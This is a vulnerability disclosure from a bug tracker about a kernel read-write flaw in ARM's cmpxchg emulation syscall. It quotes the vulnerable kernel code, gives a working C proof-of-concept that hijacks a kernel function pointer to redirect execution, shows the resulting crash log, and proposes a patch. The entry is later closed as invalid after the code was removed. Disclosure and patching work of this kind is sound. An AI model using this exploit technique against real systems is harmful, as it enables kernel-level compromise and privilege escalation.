New issue
Advanced search Search tips
Starred by 1 user
Status: Invalid
Owner:
Closed: Dec 2015
Cc:



Sign in to add a comment
Linux: kernel read-write in __ARM_NR_cmpxchg
Project Member Reported by markbrand@google.com, Sep 21 2015 Back to list
There's a kernel mode arbitrary read-write vulnerability in the implementation of the cmpxchg emulation for pre-ARMv6 SMT systems (ie. in the rare case that CONFIG_NEEDS_SYSCALL_FOR_CMPXCHG is set). See the following code from /arch/arm/kernel/traps.c 

#ifdef CONFIG_NEEDS_SYSCALL_FOR_CMPXCHG
	/*
	 * Atomically store r1 in *r2 if *r2 is equal to r0 for user space.
	 * Return zero in r0 if *MEM was changed or non-zero if no exchange
	 * happened.  Also set the user C flag accordingly.
	 * If access permissions have to be fixed up then non-zero is
	 * returned and the operation has to be re-attempted.
	 *
	 * *NOTE*: This is a ghost syscall private to the kernel.  Only the
	 * __kuser_cmpxchg code in entry-armv.S should be aware of its
	 * existence.  Don't ever use this from user code.
	 */
	case NR(cmpxchg):
	for (;;) {
		extern void do_DataAbort(unsigned long addr, unsigned int fsr,
					 struct pt_regs *regs);
		unsigned long val;
		unsigned long addr = regs->ARM_r2; // user-mode register value
		struct mm_struct *mm = current->mm;
		pgd_t *pgd; pmd_t *pmd; pte_t *pte;
		spinlock_t *ptl;

    regs->ARM_cpsr &= ~PSR_C_BIT;
		down_read(&mm->mmap_sem);
		pgd = pgd_offset(mm, addr);
		if (!pgd || !pgd_present(*pgd)) {
      goto bad_access;
    }
		pmd = pmd_offset(pgd, addr);
		if (!pmd || !pmd_present(*pmd)) {
      goto bad_access;
    }
		pte = pte_offset_map_lock(mm, pmd, addr, &ptl);
		if (!pte || !pte_present(*pte) || !pte_write(*pte) || !pte_dirty(*pte)) { // so the page has to exist, be writeable and dirty
			pte_unmap_unlock(pte, ptl);
      goto bad_access;
		}
		val = *(unsigned long *)addr;
		val -= regs->ARM_r0;
		if (val == 0) {
			*(unsigned long *)addr = regs->ARM_r1; // user-mode controlled value written to user-mode controlled address 
			regs->ARM_cpsr |= PSR_C_BIT;
		}
		pte_unmap_unlock(pte, ptl);
		up_read(&mm->mmap_sem);
		return val; // we also get the difference between the values, so we can use it as a read as well.

		bad_access:
		up_read(&mm->mmap_sem);
    /* simulate a write access fault */
		do_DataAbort(addr, 15 + (1 << 11), regs);
	}
#endif

This lets user-mode perform a cmpxchg operation on kernel-mode memory.

The following code redirects kernel mode execution on a test build of kernel 4.2 with the config flag set.

#define _GNU_SOURCE
#include <linux/sockios.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#define __ARM_NR_cmpxchg (0x0f0000 + 0x00fff0)

char* overwrite_target = (char*)0x42424242;
char* dlci_ioctl_hook  = (char*)0xc0416d20;

int cmpxchg(char* addr, char* compare, char* write) {
  return syscall(__ARM_NR_cmpxchg, compare, write, addr);
}

void write_hook() {
  cmpxchg(dlci_ioctl_hook, NULL, overwrite_target);
}

void elevate() {
  int fd = socket(AF_INET, SOCK_STREAM, 0);
  ioctl(fd, SIOCADDDLCI, 0xc01db33f);
}

int main(int argc, char** argv) {
  write_hook();
  elevate();
}

Unable to handle kernel paging request at virtual address 42424242
pgd = c7a90000
[42424242] *pgd=00000000
Internal error: Oops: 80000005 [#1] ARM
Modules linked in:
CPU: 0 PID: 1 Comm: init Not tainted 4.2.0 #13
Hardware name: ARM-Versatile PB
task: c781baa0 ti: c7822000 task.ti: c7822000
PC is at 0x42424242
LR is at sock_ioctl+0x12c/0x290
pc : [<42424242>]    lr : [<c021bdec>]    psr: 20000013
sp : c7823f10  ip : 00000080  fp : c74042c0
r10: c01db33f  r9 : c7822000  r8 : 00000003
r7 : c03f9178  r6 : c0416d20  r5 : c01db33f  r4 : 00008980
r3 : 42424242  r2 : 00000001  r1 : c01db33f  r0 : 00008980
Flags: nzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
Control: 00093177  Table: 07a90000  DAC: 00000015
Process init (pid: 1, stack limit = 0xc7822190)
Stack: (0xc7823f10 to 0xc7824000)
3f00:                                     c021bcc0 00005452 00000003 00008980
3f20: c01db33f c00aa4a8 c0407700 c7a78760 00000000 c009d174 00000003 c7823f58
3f40: c02f29a0 c009d264 c03dc450 c74042a0 00000000 c021c0e0 c7838630 c7401e58
3f60: 00000000 00000000 00000001 c7920840 c7920840 00008980 c01db33f 00000003
3f80: c7822000 00000000 beee9dac c00aaa24 beee9dd0 00000000 00000000 00000036
3fa0: c0014e48 c0014c80 beee9dd0 00000000 00000003 00008980 c01db33f 00000000
3fc0: beee9dd0 00000000 00000000 00000036 00000000 00009554 000095f4 beee9dac
3fe0: beee9d90 beee9d9c 00008de4 0002039c 00000010 00000003 00000000 00000000
[<c021bdec>] (sock_ioctl) from [<c00aa4a8>] (do_vfs_ioctl+0x74/0x5bc)
[<c00aa4a8>] (do_vfs_ioctl) from [<c00aaa24>] (SyS_ioctl+0x34/0x58)
[<c00aaa24>] (SyS_ioctl) from [<c0014c80>] (ret_fast_syscall+0x0/0x38)

And I think the following patch should fix this issue by checking that the page-table entry is a user-mode page.

--- a/arch/arm/kernel/traps.c
+++ b/arch/arm/kernel/traps.c
@@ -656,7 +656,7 @@ asmlinkage int arm_syscall(int no, struct pt_regs *regs)
                if (!pmd_present(*pmd))
                        goto bad_access;
                pte = pte_offset_map_lock(mm, pmd, addr, &ptl);
-               if (!pte_present(*pte) || !pte_write(*pte) || !pte_dirty(*pte)) {
+               if (!pte_present(*pte) || !pte_write(*pte) || !pte_dirty(*pte) || !pte_valid_user(*pte)) {
                        pte_unmap_unlock(pte, ptl);
                        goto bad_access;
                }

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
Project Member Comment 1 by markbrand@google.com, Dec 17 2015
Labels: -Restrict-View-Commit
Status: Invalid
Derestricting as invalid (the kernel config option required to compile this code into the kernel is not believed to be used on any valid system configurations, so the code has now been completely removed.)
Sign in to add a comment